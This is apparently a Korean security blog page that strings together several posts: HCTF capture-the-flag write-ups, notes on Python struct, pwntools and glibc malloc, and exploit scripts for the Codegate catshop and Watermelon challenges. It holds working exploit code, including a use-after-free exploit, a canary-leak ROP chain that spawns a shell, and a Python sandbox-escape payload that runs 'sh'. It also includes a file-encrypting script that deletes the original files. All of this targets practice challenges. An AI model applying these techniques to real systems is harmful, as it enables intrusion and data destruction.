서울여자대학교 영재원에서 최종 프로젝트로 발표한 자료다.
'Hacking' 카테고리의 다른 글
[2019정보보호올림피아드]Q9 (0) | 2019.11.25 |
---|---|
syscall Exploit 예제 (0) | 2019.11.23 |
malloc (0) | 2019.11.15 |
[2018codegate]catshop (0) | 2019.11.13 |
[2016codegate]Watermelon (0) | 2019.11.13 |
서울여자대학교 영재원에서 최종 프로젝트로 발표한 자료다.
[2019정보보호올림피아드]Q9 (0) | 2019.11.25 |
---|---|
syscall Exploit 예제 (0) | 2019.11.23 |
malloc (0) | 2019.11.15 |
[2018codegate]catshop (0) | 2019.11.13 |
[2016codegate]Watermelon (0) | 2019.11.13 |
Python 문자열로 표현된 C structs와 Python Value 간의 변환
파일에 Binary Data를 저장하거나 Network Connection 시 사용
struct.pack(fmt, v1, v2,...)
- 지정된 Format에 따라 v1, v2의 value를 Pack을 수행하며 그 결과는 String으로 리턴
struct.unpack(fmt, string)
- 지정된 Format에 따라 String을 Unpack을 수행하며 그 결과는 Tuple로 리턴
CharacterByte orderSizeAlignment
@ | native | native | native |
= | native | standard | none |
< | little-endian | standard | none |
> | big-endian | standard | none |
! | network (= big-endian) | standard | none |
FormatC TypePython typeStandard sizeNotes
x | pad byte | no value | ||
c | char | string of length 1 | 1 | |
b | signed char | integer | 1 | (3) |
B | unsigned char | integer | 1 | (3) |
? | _Bool | bool | 1 | (1) |
h | short | integer | 2 | (3) |
H | unsigned short | integer | 2 | (3) |
i | int | integer | 4 | (3) |
I | unsigned int | integer | 4 | (3) |
l | long | integer | 4 | (3) |
L | unsigned long | integer | 4 | (3) |
q | long long | integer | 8 | (2), (3) |
Q | unsigned long long | integer | 8 | (2), (3) |
f | float | float | 4 | (4) |
d | double | float | 8 | (4) |
s | char[] | string | ||
p | char[] | string | ||
P | void * | integer | (5), (3) |
ex) struct.pack('<B',i)
[pwntools]pwnlib.util (0) | 2019.11.19 |
---|---|
hex encoding to chr() (0) | 2019.05.17 |
파이썬 리스트의 문자열을 int 형태로 변환 (2) | 2019.02.18 |
Python z3 모듈 (0) | 2018.12.02 |
Description에 FLAG가 있다.
FLAG : HCTF{flag_looks_like_this}
주어진 netcat서버에 접속하면 FLAG를 뿜어준다.
FLAG : HCTF{net"Cat" is so cute}
파란색으로 덮힌 바코드를 그림판으로 복구해주면 된다. 어느정도 노가다 하다보니 인식됐다.
FLAG : HCTF{4180021737370713}
예전에 seed값 이용해서 푸는 문제 풀었을 때 python2랑 python3랑 seed 설정하고 random 값이 다른거를 잊고 왜 안되나 했다. 계속 python2를 이용해서 random_string을 잘못 가져왔다. python3 사용한 random_string 넣고 푸니까 잘 decrypt 된다.
파일이 생성된 시간 2019:11:12 23:59:07+09:00의 time.time() 값은 1573570747 이다.
import random
import string
import time
def random_string(length):
strs = string.ascii_letters + string.digits
result = ""
for _ in range(length):
result += random.choice(strs)
return result
seed = 1573570747
random.seed(seed)
key = random_string(32)
iv = random_string(16)
print(key) # FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63
print(iv) # 9DULbzZxWQSgNnZM
key랑 iv값은 구한 후 decrypt 함수에 파일 이름, key, iv 넣고 decrypt해주면 된다.
from Crypto.Cipher import AES
import random
import string
import time
import os
class CryptoFile:
def encrypt(self, endswith, delete_file):
for file_name in [i for i in os.listdir('./') if i.endswith(endswith)]:
target_file = open(file_name, 'rb')
result = open('CryptoFile-' + self.random_string(2) + '.' + self.random_string(12), 'wb')
seed = int(time.time())
random.seed(seed)
key = self.random_string(32)
iv = self.random_string(16)
result.write(AES.new(key, AES.MODE_CFB, iv).encrypt(target_file.read()))
if delete_file:
os.remove(file_name)
def decrypt(self, file_name, key, iv):
target_file = open(file_name, 'rb')
result = open(file_name + ".result", 'wb')
result.write(AES.new(key, AES.MODE_CFB, iv).decrypt(target_file.read()))
def random_string(self, length):
strs = string.ascii_letters + string.digits
result = ""
for _ in range(length):
result += random.choice(strs)
return result
if __name__ == '__main__':
# CryptoFile().encrypt(('gg'), True)
CryptoFile().decrypt('CryptoFile-Xp.NNRyUD7RQLVh','FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63','9DULbzZxWQSgNnZM')
.result파일의 확장자를 png로 바꾸고 이미지 열면 FLAG가 있다.
FLAG : HCTF{Se3d_T1mE_15_D4nG3rouS}
입력 값하고 \xde\xed\xbe\xef 이 같으면 플래그 파일을 읽을 수 있다.
from pwn import *
p = remote('prob.hctf.icewall.org',10102)
p.sendlineafter('>> ','\xde\xed\xbe\xef')
p.interactive()
FLAG : HCTF{beef steak is delicious}
python -c 로 실행시켜주는데 exec , chr 이 안 막혀있어서 이를 이용해서 풀었다. 아래 페이로드 이용해서 풀었다.
a="__import__('os').system('sh')"
payload = 'exec(' + ''.join('chr('+str(ord(a[i]))+')+' for i in range(len(a)))[:-1] + ')'
FLAG : HCTF{getattr_is_very
very
nice!!}
힌트가 있길래 딱보면 robots.txt 이용해서 푸는거구나 생각하고 들어갔는데 HCTF-FLAG.txt이 있길래 http://www.nowtakeit.com/HCTF-FLAG.txt 들어갔는데 플래그가 있었다.
FLAG : HCTF{Congratulations_10000_Points_for_First_Solver!!}
매우 복잡한 그래프이다. 자세히 보면 인덱스의 글자가 맞는지 아닌지 비교해주는 분기들이다. 인덱스의 값들을 잘 맞추면 된다.
a=[0]*46
a[23]=97;a[19]=74;a[9]=95;a[22]=95;a[6]=118;a[1]=67;a[26]=95;a[7]=101;a[3]=70
a[2]=84;a[8]=110;a[17]=101;a[44]=116;a[32]=97;a[24]=110;a[43]=105;a[14]=104;a[12]=99
a[10]=103;a[28]=111;a[35]=105;a[29]=117;a[31]=99;a[14]=104;a[12]=99;a[10]=103
a[38]=112;a[39]=101;a[34]=95;a[37]=115;a[25]=100;a[18]=95;a[45]=125;a[21]=84;a[40]=99
a[11]=99;a[16]=118;a[30]=95;a[41]=116;a[13]=95;a[4]=123;a[42]=95;a[5]=101
a[20]=73;a[15]=97;a[0]=72;a[33]=110;a[27]=121;a[36]=110
print ''.join(chr(i) for i in a)
FLAG : HCTF{even_gcc_have_JIT_and_you_can_inspect_it}
Stegsolve 를 이용해서 Blue Plane 0 이미지 좌측에 보면 흰색, 검은색이 반복되며 나온다.
여기서 검은색은 0, 흰색은 1로 치환해줘서 2진수 값 가져와서 8비트씩 끊어서 문자열로 만들면 플래그가 된다.
from PIL import Image
img = Image.open('solved.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
text = ''
black = (0,0,0)
white = (255,255,255)
for i in range(1):
for j in range(img.height):
if img_pix[i,j] == black:
text += '0'
elif img_pix[i,j] == white:
text += '1'
b = '010010000100001101010100010001100111101101010111011010000110000101110100010111110100000101011111010100110110100101101101011100000110110001100101010111110101001101110100011001010110011101100001011011100110111101100111011100100110000101110000011010000111100101011111010100000111001001101111011000100110110001100101011011010010000101111101'
print ''.join(map(lambda x: chr(int(x, 2)), [b[i:i+8] for i in xrange(0, len(b),8)]))
FLAG : HCTF{What_A_Simple_Steganography_Problem!}
패킷 문제다. 주어진 패킷을 분석해보면 ruu.kr에서 SMTP 프로토콜로 통신을 했다.
220 ruu.kr ESMTP Postfix
HELO ruu.kr
250 ruu.kr
MAIL FROM:master@ruu.kr
250 2.1.0 Ok
RCPT TO:idontknow@ruu.kr
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: master@ruu.kr
To: idontknow@ruu.kr
Subject: Order
Date: Thu, 10 Oct 2019 23:11:21 +0900
OK...
The password is ITISNOTFLAG
Order file will transfer through secret channel...
Good Luck...
.
250 2.0.0 Ok: queued as C2A15240681
QUIT
221 2.0.0 Bye
다른 채널에 더 비밀스러운게 있다고 한다. 대충 쭉쭉 분석하다보니 ICMP 프로토콜로 통신한 부분을 볼 수 있다.
자세히 보니 ICMP Data 영역(마지막 제외 32바이트) 를 주고받은걸 볼 수 있다. 해당 ICMP Data영역에 해당하는 부분을 추출해주면 된다.
tshark -r packet.pcapng -Y 'icmp and ip.src==192.168.3.128' -T fields -e data
위 명령어 사용해서 가져오면 된다. 가져온 hex값을 hex decode해주고 base64로 decode해주면 7z파일이 나온다 앞에 dummy 부분만 제거하고 7z만 가져와서 아까 얻은 password (ITISNOTFLAG) 를 이용해서 풀어주면 ELF파일이 나오는데 이 ELF파일을 실행해주면 플래그가 나온다.
FLAG : HCTF{Now_You_Know_ICMP_Covert_Channel}
DES key 취약점을 이용한 문제이다. 취약한 키 다 가져와서 DES decrypt Bruteforce해줬다.
from Crypto.Cipher import DES
import string
import re
f = open('flag.enc', 'rb')
ciphertext = f.read()
f.close()
parity = [ '0101010101010101', 'FEFEFEFEFEFEFEFE', 'E0E0E0E0F1F1F1F1', '1F1F1F1F0E0E0E0E' ]
noparity = [ '0000000000000000', 'FFFFFFFFFFFFFFFF', 'E1E1E1E1F0F0F0F0', '1E1E1E1E0F0F0F0F' ]
parity = [ i.decode('hex') for i in parity ]
noparity = [ i.decode('hex') for i in noparity ]
keylist = [parity, noparity]
IV = '87654321'
for key in keylist :
for KEY in key :
a = DES.new(KEY, DES.MODE_OFB, IV)
plain = a.decrypt(ciphertext)
print plain
FLAG : HCTF{It_is_So_Easy_Crypto_Problem_Right?}
Hastad’s Broadcast Attack 문제다.
#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *
p1 = random_prime(2 ** 512)
q1 = random_prime(2 ** 512)
n1 = p1*q1
c1 = pow(bytes_to_long(flag), 3, n1)
p2 = random_prime(2 ** 512)
q2 = random_prime(2 ** 512)
n2 = p2*q2
c2 = pow(bytes_to_long(flag), 3, n2)
p3 = random_prime(2 ** 512)
q3 = random_prime(2 ** 512)
n3 = p3*q3
c3 = pow(bytes_to_long(flag), 3, n3)
'''
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953
'''
중국인의 나머지 정리(CRT; Chinese Remainder Theorem)를 이용해서 계산해주면 된다. 구글링하면 잘 나온다.
import gmpy
e = 3
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953
N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy.invert(N1, n1)
u2 = gmpy.invert(N2, n2)
u3 = gmpy.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy.root(M,e)[0]
print hex(m)[2:].rstrip("L").decode("hex")
FLAG : HCTF{RSA_and_CRT_are_Very_VerY_vErY_EEEEEEasy_Hey_Fancy_You!}
Rabin 이라고 힌트를 준다.
#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *
p = random_prime(2 ** 512)
q = next_prime(p)
while( (p % 4 != 3) or (q % 4 != 3)):
p = random_prime(2 ** 512)
q = next_prime(p)
n = p*q
enc = pow(bytes_to_long(flag), 2, n)
'''
enc = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
'''
Fermat factorization 페르마소수를 이용해서 n을 소인수분해해서 p,q를 구해주면 된다.
#from Crypto.Util.number import long_to_bytes
# -*-coding:utf-8 -*-
from gmpy2 import *
def fermat_factor(n):
assert n % 2 != 0
a = isqrt(n)
b2 = square(a) - n
while not is_square(b2):
a += 1
b2 = square(a) - n
p = a + isqrt(b2)
q = a - isqrt(b2)
return int(p), int(q)
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
p, q = fermat_factor(n)
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))
c = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = p*q
ma = []
mp = pow(c,(p+1)//4,p)
mq = pow(c,(q+1)//4,q)
yp = invert(p,q)
yq = invert(q,p)
ma.append((yq*q*mp + yp*p*mq) % n)
ma.append((yq*q*mp - yp*p*mq) % n)
ma.append((-yq*q*mp + yp*p*mq) % n)
ma.append((-yq*q*mp - yp*p*mq) % n)
for m in ma:
m = hex(m)[2:]
if (len(m) %2 !=0 ):
m = '0' + m
print "M = " + m.decode("hex")
FLAG : HCTF{Rabin_Crypto_Algorithm_is_So_Beautiful_And_This_Problem_Requires_A_Really_Long_Flag_Length}
제 15회 중고생정보보호올림피아드 본선 문제 풀이 (6) | 2020.10.30 |
---|---|
제 14회 중고생정보보호올림피아드 본선 포너블 문제 풀이 (0) | 2020.10.14 |
2019 제 14회 중고생정보보호올림피아드 풀이 (4) | 2019.09.23 |
2019 Timisoara CTF Quals Writeup (0) | 2019.09.21 |
2019 TokyoWesterns CTF 5th Easy Crack Me (0) | 2019.09.03 |
pwnlib.util.fiddling.bits(s, endian = 'big', zero = 0, one = 1) → list
>>> bits(100)
'[0, 1, 1, 0, 0, 1, 0, 0]'
>>> sum(bits(100)
3
>>> bits('ABC')
[0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1]
>>> ''.join(bits(511,zero='_',one='-'))
'________---------'
>>> ''.join(bits(511,endian='little',zero='_',one='-')
'---------_______'
pwnlib.util.fiddling.unbits(s, endian = 'big') → str
>>> unbits('0100000101000001')
'AA'
pwnlib.util.fiddling.bits_str(s, endian = 'big', zero = '0', one = '1') → str
bits()는 list로 반환하는 반면에 bits_str()은 비트 값을 str로 반환한다.
>>> bits_str('flag')
'01100110011011000110000101100111'
pwnlib.util.fiddling.bitswap(s) → str
1바이트씩 bit값을 뒤집는다고 보면 된다.
ex) 01101101 -> 10110110
>>> bitswap('ab')
'\x86F'
pwnlib.util.fiddling.enhex(x) → str
>>> enhex('abcd')
'61626364'
>>> 'abcd'.encode('hex')
'61626364'
pwnlib.util.fiddling.unhex(s) → str
>>> unhex('666c6167')
'flag'
>>> '666c6167'.decode('hex')
'flag'
pwnlib.util.fiddling.hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False)
>>> hexdump(list(map(chr, range(256))),width=16,begin=0x12345678)
12345678 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f │····│····│····│····│
12345688 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f │····│····│····│····│
12345698 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f │ !"#│$%&'│()*+│,-./│
123456a8 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f │0123│4567│89:;│<=>?│
123456b8 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f │@ABC│DEFG│HIJK│LMNO│
123456c8 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f │PQRS│TUVW│XYZ[│\]^_│
123456d8 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f │`abc│defg│hijk│lmno│
123456e8 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f │pqrs│tuvw│xyz{│|}~·│
123456f8 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f │····│····│····│····│
12345708 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f │····│····│····│····│
12345718 a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af │····│····│····│····│
12345728 b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf │····│····│····│····│
12345738 c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf │····│····│····│····│
12345748 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df │····│····│····│····│
12345758 e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef │····│····│····│····│
12345768 f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff │····│····│····│····│
pwnlib.util.fiddling.b64e(s) → str
>>> b64e('test')
'dGVzdA=='
pwnlib.util.fiddling.b64d(s) → str
>>> b64d('dGVzdA==')
'test'
pwnlib.util.fiddling.urlencode(s) → str
>>> urlencode('/bin/sh')
'%2f%62%69%6e%2f%73%68'
pwnlib.util.fiddling.urldecode(s, ignore_invalid = False) → str
>>> urldecode('%2f%62%69%6e%2f%73%68')
'/bin/sh'
pwnlib.util.fiddling.xor(*args, cut = 'max') → str
pwnlib.util.fiddling.xor_key(data, size=None, avoid='x00n') -> None or (int, str)
pwnlib.util.fiddling.xor_pair(data, avoid = 'x00n') -> None or (str, str)
python struct module (0) | 2019.11.21 |
---|---|
hex encoding to chr() (0) | 2019.05.17 |
파이썬 리스트의 문자열을 int 형태로 변환 (2) | 2019.02.18 |
Python z3 모듈 (0) | 2018.12.02 |
chunk = 할당된 메모리
1 2 3 4 5 6 7 8 9 | struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links — used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links — used only if free. */ struct malloc_chunk* bk_nextsize; }; | cs |
할당된 메모리(chunk)에 대한 정보들로는 prev_size, size, fd, bk, fd_nextsize, bk_nextsize 가 있습니다.
prev_size
prev_size는 이전 chunk가 free 되면 설정되는 값으로, 플래그를 제외한 이전 chunk의 크기 정보가 기록됩니다.
이 정보를 통해 이전 chunk 의 위치를 쉽게 찾을 수 있습니다.
size
size에는 현재 chunk의 사이즈가 기록됩니다.
chunk는 8바이트 단위로 정렬되는데, 이때 하위 3비트는 플래그 용도로 쓰입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | /* size field is or’ed with PREV_INUSE when previous adjacent chunk in use */ #define PREV_INUSE 0x1 /* extract inuse bit of previous chunk */ #define prev_inuse(p) ((p)->size & PREV_INUSE) /* size field is or’ed with IS_MMAPPED if the chunk was obtained with mmap() */ #define IS_MMAPPED 0x2 /* check for mmap()’ed chunk */ #define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED) /* size field is or’ed with NON_MAIN_ARENA if the chunk was obtained from a non-main arena. This is only set immediately before handing the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* check for chunk from non-main arena */ #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) | cs |
※ PREV_INUSE : 이전 chunk가 사용중일 때 설정되는 플래그
※ IS_MMAPPED : mmap() 함수로 할당된 chunk일 때 설정되는 플래그
※ NON_MAIN_ARENA : 멀티 쓰레드 환경에서 main 이 아닌 쓰레드에서 생성된 메모리 일 때 설정되는 플래그
fd는 forward pointer, bk는 backward pointer 로, chunk 리스트를 관리하기 위해 chunk의 리스트들 중 각각 이전 chunk와 다음 chunk의 주소를 가리킵니다.
syscall Exploit 예제 (0) | 2019.11.23 |
---|---|
CVE-2019-14287 발표 자료 (0) | 2019.11.23 |
[2018codegate]catshop (0) | 2019.11.13 |
[2016codegate]Watermelon (0) | 2019.11.13 |
SQLI 정리 (0) | 2019.11.12 |
UAF 취약점이 발생한다.
fget는 입력 받을 개수 -1 만큼 입력받고 마지막 문자를 NULL로 만들어서 4bytes 주소값을 넣으려면 5만큼 넣어줘야한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import * p = process('./catshop') e = ELF('./catshop') flag = 0x080488b6 p.sendafter(':',p32(1)) # malloc sleep(0.1) p.sendafter(':',p32(2)) # free sleep(0.1) p.sendafter(':',p32(4)) # malloc sleep(0.1) p.sendafter(':',p32(5)) # length sleep(0.1) p.sendlineafter(':',p32(flag)) # fget -> \x00 sleep(0.1) p.sendlineafter(':',p32(3)) # call p.interactive() | cs |
CVE-2019-14287 발표 자료 (0) | 2019.11.23 |
---|---|
malloc (0) | 2019.11.15 |
[2016codegate]Watermelon (0) | 2019.11.13 |
SQLI 정리 (0) | 2019.11.12 |
LFI Vuln (0) | 2019.11.11 |
이름을 입력하는 곳을 보면 전역변수(bss) 영역에 scanf를 받게 된다.
add, view, modify에 들어가는 인자가 4400만큼 할당받는다.
add함수에서는 어떠한 전역변수 하나가 100인지 비교하고 아니면 곡 추가하고 증가해주는 거 보면 곡의 인덱스인거 같다.
playlist 구조체 : num(4) + music(20) + artist(20)
이러한 구조체가 100개 있는 것이다.
add() : 1byte overflow
view() : playlist view -> view canary
modify() : overflow
int playlist_struct; // [esp+1Ch] [ebp-113Ch]
unsigned int canary; // [esp+114Ch] [ebp-Ch]
구조체(4400) + canary()
Canary Leak 시나리오
add()로 playlist 100개 채우는데 마지막에 artist만 21개 입력해서 Canary Leak해준다.
view()로 가서 Leak된 Canary를 알아온다.
modify()로 가서 bof 일으키고 Canary 값 맞춰주면서 ROP 해주면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | from pwn import * context.log_level = 'debug' context.arch = 'i386' p = process('./watermelon') libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False) e = ELF('./watermelon') sla = lambda x,y : p.sendlineafter(x,y) sl = lambda x : p.sendline(x) sa = lambda x,y : p.sendafter(x,y) s = lambda x : p.send(x) popret = 0x080484d1 # 0x080484d1 : pop ebx ; ret pop3ret = 0x080495ad # 0x080495ad : pop ebx ; pop edi ; pop ebp ; ret bss = e.bss() def add(): sla('\tselect\t|\t\n','1') sla('\tmusic\t|\t','A') sla('\tartist\t|\t','A') if __name__ == '__main__': sla('name : \n','realsung') for i in range(99): add() sla('\tselect\t|\t\n','1') sla('\tmusic\t|\t','A') sla('\tartist\t|\t','A'*21) sla('\tselect\t|\t\n','2') p.recvuntil('A'*20) canary = u32(p.recv(4)) - ord('A') log.info('canary : ' + hex(canary)) ######################################## sla('\tselect\t|\t\n','3') sla('select number\t|\t\n','100') sla('\tmusic\t|\t','B') # artist(20) + canary(4) + dummy(8) + sfp(4) + ret pay = 'A'*20 pay += p32(canary) pay += 'A'*12 pay += flat(e.plt['puts'],popret,e.got['puts']) pay += flat(e.plt['read'],pop3ret,0,bss,10) pay += flat(e.plt['read'],pop3ret,0,e.got['puts'],8) pay += flat(e.plt['puts'],'AAAA',bss) sla('\tartist\t|\t',pay) sla('\tselect\t|\t\n','4') p.recvuntil('BYE BYE\n\n') puts = u32(p.recv(4)) log.info('puts : ' + hex(puts)) libc_base = puts - libc.symbols['puts'] log.info('libc_base : ' + hex(libc_base)) system = libc_base + libc.symbols['system'] log.info('system : ' + hex(system)) sl('/bin/sh\x00') s(p32(system)) p.interactive() | cs |
malloc (0) | 2019.11.15 |
---|---|
[2018codegate]catshop (0) | 2019.11.13 |
SQLI 정리 (0) | 2019.11.12 |
LFI Vuln (0) | 2019.11.11 |
[2013plaidCTF]ropasaurusrex (0) | 2019.11.03 |